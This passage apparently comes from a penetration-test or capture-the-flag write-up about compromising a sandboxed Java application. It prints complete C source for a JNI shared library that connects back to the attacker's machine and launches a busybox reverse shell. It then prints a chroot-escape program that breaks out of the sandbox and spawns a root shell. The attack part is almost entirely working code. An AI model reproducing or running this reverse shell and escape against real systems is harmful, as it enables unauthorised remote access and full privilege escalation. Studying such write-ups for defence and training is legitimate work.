This code basically only loaded the shared library and called a certain function of it with the IP and port of our attack machine, waiting for a connection. Then the following C code was written for the shared library:
#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <string.h>
#include <errno.h>
#include <limits.h>
void make_busybox_executable() {
if (chmod("./busybox", 0755) < 0) {
perror("chmod");
}
}void start_busybox_shell(int sockfd) {
dup2(sockfd, STDIN_FILENO);
dup2(sockfd, STDOUT_FILENO);
dup2(sockfd, STDERR_FILENO);
execl("./busybox", "sh", NULL);
perror("execl");
close(sockfd);
}
JNIEXPORT void JNICALL Java_SimpleRequester_open_1reverse_1shell(JNIEnv *env, jobject obj, jstring ip, jint port) {
const char *ip_address = (*env)->GetStringUTFChars(env, ip, NULL);
int sockfd;
struct sockaddr_in serv_addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("socket");
(*env)->ReleaseStringUTFChars(env, ip, ip_address);
exit(1);
}
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
inet_pton(AF_INET, ip_address, &serv_addr.sin_addr);
if (connect(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0) {
perror("connect");
close(sockfd);
(*env)->ReleaseStringUTFChars(env, ip, ip_address);
exit(1);
} make_busybox_executable(); start_busybox_shell(sockfd); close(sockfd);
(*env)->ReleaseStringUTFChars(env, ip, ip_address);
}
The shared library basically took a static shell binary, which we uploaded via FTP, made it executable and started a reverse shell with the given IP and port through the static shell binary. This allowed a reverse connection to the attacking machine.
As the Java application is running in a “sandbox”, which is using a chroot to a folder without any binaries and just the files from the user’s home directory, it was then possible to use another C binary to escape this chroot and become root user of the whole machine. The escape code was the following:
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
for(int i = 0; i < 1000; i++) {
chdir("..");
}
chroot(".");
system("/bin/sh");
}